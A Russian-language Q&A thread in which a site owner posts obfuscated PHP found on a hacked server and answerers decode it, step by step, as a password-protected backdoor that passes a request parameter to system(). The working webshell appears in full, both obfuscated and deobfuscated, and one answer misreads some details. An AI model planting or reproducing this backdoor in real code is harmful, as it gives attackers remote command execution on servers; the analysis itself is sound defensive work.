Мой сайт взломали — что делает этот код?

Кто-то взломал мой сайт и включил этот код. Может ли кто-нибудь объяснить, что он делает?

Я переформатировал интервал для большей ясности. Я попытался запустить код, но похоже, что все, что он делает, это возвращает хэш md5. Это безопасно?

<?

$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'),
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
base64_decode('dX' .'JsZGVjb2Rl'),
base64_decode('c3lz' .'dGVt'));
?>

<? function
_787708145($i)
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
'cA==',
'cw==',
'');
return base64_decode($a[$i]);
}
?>

<?php
$_0=_787708145(0);

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

if($_1!=$_0)exit;

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

if($_2==_787708145(3))exit;

$GLOBALS['_131068239_'][3]($_2);exit;
?>

4

Решение

Не безвреден. Это код с удаленным запутанным материалом:

$_0 = '2caf6917ca3d9a3a85d26029ed623b1a';
$_1 = md5(urldecode($_REQUEST['p']));

if ($_1 != $_0) exit;

$_2 = urldecode($_REQUEST['s']);
if ($_2 == '') exit;

system($_2);
exit;

Если это присутствует в файле PHP на вашем сервере, это означает, что злоумышленник может создать URL с p а также s параметры, чтобы выполнить любую программу на вашем сервере (используя system вызов) с правами пользователя, запустившего ваш веб-сервер.

Я бы посоветовал вам избавиться от этого.

4

Другие решения

Ответьте inline в комментариях к коду ниже.
Короче говоря, скрипт позволяет писать или загружать оболочку на ваш сервер.

Позже отредактируйте: точно не безобидно, сожгите его огнем.

<?php

$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'), // md5 - php function
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
base64_decode('c3lz' .'dGVt')); //system - php function


function _787708145($i)
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
'cA==',
'cw==',
'');
return base64_decode($a[$i]);
}

$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded

if($_1!=$_0)exit; // the md5 hash is compared here with the hash above

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
// another function call, urldecode($_REQUEST[s])
// another parameter is passed

if($_2==_787708145(3))exit; // if the urldecode above == blank then exit

$GLOBALS['_131068239_'][3]($_2);
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here

exit;
// job done, exit :)
6

Да, приведенный выше код является бэкдором. Запрашивает у пользователя системную команду & этот код выполняет эту команду на вашем сервере. Вот что делает приведенный выше код!

<?
// Here all the strings are base64 encoded
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'),                     // md5
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),     // urldecode
base64_decode('dX' .'JsZGVjb2Rl'),             // urldecode
base64_decode('c3lz' .'dGVt'));                // system - syntax to execute PHP on the server
?>

В приведенном выше коде, system используется для выполнения команды на вашем сервере

<? function _787708145($i)     // Function Created
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',   // MD5 string 2caf6917ca3d9a3a85d26029ed623b1a
'cA==',      // p
'cw==',      // s
'');
return base64_decode($a[$i]);
}
?>

Выше создана функция

<?php
$_0=_787708145(0);

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

if($_1!=$_0)exit;

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

if($_2==_787708145(3))exit;

$GLOBALS['_131068239_'][3]($_2);exit;
?>

Эта линия

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

_787708145(1) : p

Так $_REQUEST[_787708145(1)]) будет запрашивать у пользователя ввести параметр со значением с p имя параметра

$GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]) : urlencode($_REQUEST["p"])

$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])) : md5(urlencode($_REQUEST["p"]))

Это будет соответствовать паролю if($_1!=$_0)exit;

$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); : urlencode($_REQUEST["s"]);

if($_2=="s")exit;

Теперь наступает заключительная часть, т.е.

$GLOBALS['_131068239_'][3]($_2); : system($_2); // $_2 is the value supplied by the user to execute command
2

Расшифровка строк base64:

bWQ1 является md5

dXJsZGVjb2Rl является urldecode

c3lzdGVt является system

MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE= является 2caf6917ca3d9a3a85d26029ed623b1a

dXJsZGVjb2Rl является urldecode

cA== является p

cw== является s

dXJsZGVjb2Rl является urldecode

Это должно дать некоторое представление о цели запутанного кода.

1
По вопросам рекламы [email protected]